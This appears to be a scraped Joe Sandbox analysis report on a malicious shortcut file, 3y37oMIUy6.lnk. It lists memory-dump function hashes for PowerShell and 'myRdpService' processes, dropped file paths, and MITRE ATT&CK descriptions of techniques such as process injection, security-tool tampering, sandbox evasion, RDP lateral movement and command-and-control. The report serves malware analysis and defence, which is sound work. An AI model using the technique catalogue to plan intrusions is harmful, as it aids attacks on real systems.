Snapshot File: hcaresult_29_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c91f8bb5612940347ec11d1d9cf77a374b71f9ec13eb81fd806d63c7de80ac71
Instruction ID: 19c841101a4a1fcda77a9b8fd357124fe5cbd8e37eaa8e55d3f99cc0e93af4eb
Opcode Fuzzy Hash: c91f8bb5612940347ec11d1d9cf77a374b71f9ec13eb81fd806d63c7de80ac71
Instruction Fuzzy Hash: B8011E30A0C90A4BEB759675C966ABE76B1EF51320F14013DE08AA35D6EE246841C791

Function 00007FFD13BB33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.4717451457.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 904ddcc0f519508aa89991c4e22db77cdfffe6a81e6581a36432e14cf2a13433
Instruction ID: b1f342c9805a89ac13e10c2f29908a6b0d96321ee25c986b680154db5728bb0f
Opcode Fuzzy Hash: 904ddcc0f519508aa89991c4e22db77cdfffe6a81e6581a36432e14cf2a13433
Instruction Fuzzy Hash: B201677121CB0C4FD744EF0CE451AA6B7E0FB95324F54056DE58AC3655DB36E882CB45

Function 00007FFD13BB6F81 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.4717451457.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f51ee285ea4788643e8f4f14d6f6f8ffe5a2fe6d8dd713ec9a5098fab9508cd
Instruction ID: 521c6e973819ccf184b99fb50baea72b1bdcd427b5e61777aeb2528dd05b95ef
Opcode Fuzzy Hash: 1f51ee285ea4788643e8f4f14d6f6f8ffe5a2fe6d8dd713ec9a5098fab9508cd
Instruction Fuzzy Hash: F801F75190EE854FE362D778446A2E27FE0DF5613030886EAC0C9C74A7D81858478392

Function 00007FFD13BB6FA0 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.4717451457.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a10bb711c6df1a3d3c83d61dfd307053b0a90b56d4887215c15b32fc8b90ddb9
Instruction ID: e51cbff498763e055b0df9c12549839c1906c8e446f356280cd1fb7fcc229fe6
Opcode Fuzzy Hash: a10bb711c6df1a3d3c83d61dfd307053b0a90b56d4887215c15b32fc8b90ddb9
Instruction Fuzzy Hash: 6DF0A721E0DE090FE364E77C506A2F7BBE1DF592317048BAAC489C319ADD2868464385

Function 00007FFD13BB7040 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.4717451457.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb2b9510b6f70e1a16c8b872381bf9940e5c25130b21e6ac0589a23d856b285c
Instruction ID: 824c4a9bf41b901de689419bd251d2d6dffe18552b1f26c8b6c793cd7a701971
Opcode Fuzzy Hash: eb2b9510b6f70e1a16c8b872381bf9940e5c25130b21e6ac0589a23d856b285c
Instruction Fuzzy Hash: 43F03083A1FBCA0FF36A45285A3346E2A916F5266078C00FBD4D49B1DF6814EE058351

Function 00007FFD13BB7140 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.4717451457.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eac3940093eca6d717a3f5e76fa471a141af43ce4864709b9eb0bc4e4be1ff9d
Instruction ID: d34da7ccdcc1c13cbbc1dc1720113454815138bb65aa9c8b0d6a9bfdfd9aea68
Opcode Fuzzy Hash: eac3940093eca6d717a3f5e76fa471a141af43ce4864709b9eb0bc4e4be1ff9d
Instruction Fuzzy Hash: F3B01283A0FBC10FE3660D240AA20591E502F7639032C10E7E0E45B2DFE8049F058721

Analysis Process: myRdpService.exePID: 5184, Parent PID: 816COMMON

Non-executed Functions

Function 00007FF7E496DB00 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7E496DB2C
GetCurrentThreadId.KERNEL32 ref: 00007FF7E496DB3A
GetCurrentProcessId.KERNEL32 ref: 00007FF7E496DB46
QueryPerformanceCounter.KERNEL32 ref: 00007FF7E496DB56

Memory Dump Source

Source File: 0000002E.00000002.5358910855.00007FF7E48B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7E48B0000, based on PE: true

Associated: 0000002E.00000002.5358862602.00007FF7E48B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.5360410933.00007FF7E4DB6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.5361079228.00007FF7E4F78000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.5361079228.00007FF7E50BA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.5361079228.00007FF7E50BC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.5362251668.00007FF7E5310000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.5362332997.00007FF7E5312000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.5362332997.00007FF7E531C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.5362332997.00007FF7E532E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.5362332997.00007FF7E5330000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.5362332997.00007FF7E5333000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.5362332997.00007FF7E5335000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002E.00000002.5362963775.00007FF7E5338000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_7ff7e48b0000_myRdpService.jbxd

Yara matches

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: b66d8daab459609d726222c036090e22f93798fcae7550261880a99b86b28e2a
Instruction ID: 53db05c1c6fde184c6809a968433d1fb8fe4d9a55b6d850324a101d5a153a861
Opcode Fuzzy Hash: b66d8daab459609d726222c036090e22f93798fcae7550261880a99b86b28e2a
Instruction Fuzzy Hash: 33119126B14F0689EB40DF71E8543B873A4FB19B58F841E36EA6D86754DF7CD0948350

Analysis Process: powershell.exePID: 7884, Parent PID: 5928COMMON

Executed Functions

Function 00007FFD13CB043B Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000036.00000002.5155423659.00007FFD13CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_7ffd13cb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fb2989cb264ab4572dfaeba32780bce894fb9604c781809d54cccd020f5b16e
Instruction ID: 70727d77beeb5be18dd7ad2c6df86e288b6f6317e8be9ca2df6f2b64089bba01
Opcode Fuzzy Hash: 2fb2989cb264ab4572dfaeba32780bce894fb9604c781809d54cccd020f5b16e
Instruction Fuzzy Hash: A6713372A1CE5D4FEB90EB6898646A93BE1FF98360F4401BBE40CD7183DB28E815C341

Function 00007FFD13BE34B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000036.00000002.5146099556.00007FFD13BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_7ffd13be0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5566a11b3130019c4514dc0afe5abb2a42dbc703af42b3b729dc32f024361a52
Instruction ID: a31c21ef9edcace030825532737641ccd240296bba5205f11e89a9dc9bbdb82f
Opcode Fuzzy Hash: 5566a11b3130019c4514dc0afe5abb2a42dbc703af42b3b729dc32f024361a52
Instruction Fuzzy Hash: 0C01447125CB0C4FD744EF0CE451AA5B7E0FB95324F10056DE58AC3651DA26E882CB46

Analysis Process: powershell.exePID: 9076, Parent PID: 9168COMMON

Executed Functions

Function 00007FFD13BD33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000037.00000002.5345091156.00007FFD13BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_7ffd13bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33ee3356dda89a4d7df1a1edc0decf387feeb76cdc43a44fe9b08ee816e11a39
Instruction ID: cf7639d86536d6f9c9b8674f509696db6c9320b9c88c7b9427e9bd51751c7240
Opcode Fuzzy Hash: 33ee3356dda89a4d7df1a1edc0decf387feeb76cdc43a44fe9b08ee816e11a39
Instruction Fuzzy Hash: 5101677121CB0C4FD744EF0CE451AA5B7E0FB95324F10056DE58AC3651DB36E882CB45

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3y37oMIUy6.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\ProgramData\Microsoft\Office\Licenses\5\Perpetual\21661362613116367064193984360 (copy)

C:\Users\user\AppData\LocalLow\Intel\ShaderCache\55358e20b61aed6fcad5b2283103fb1fe9f3dd3668577b575161f953d12f5a3f

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{2EA1731A-C03A-403F-8BE5-6E453427C01B}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\15444DD3.tmp

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App_1733917453001456600_2FB93248-DC74-4F72-A315-3BC25C04E494.log

Windows Analysis Report
3y37oMIUy6.lnk

Description:	Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Tactics:	Lateral Movement
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre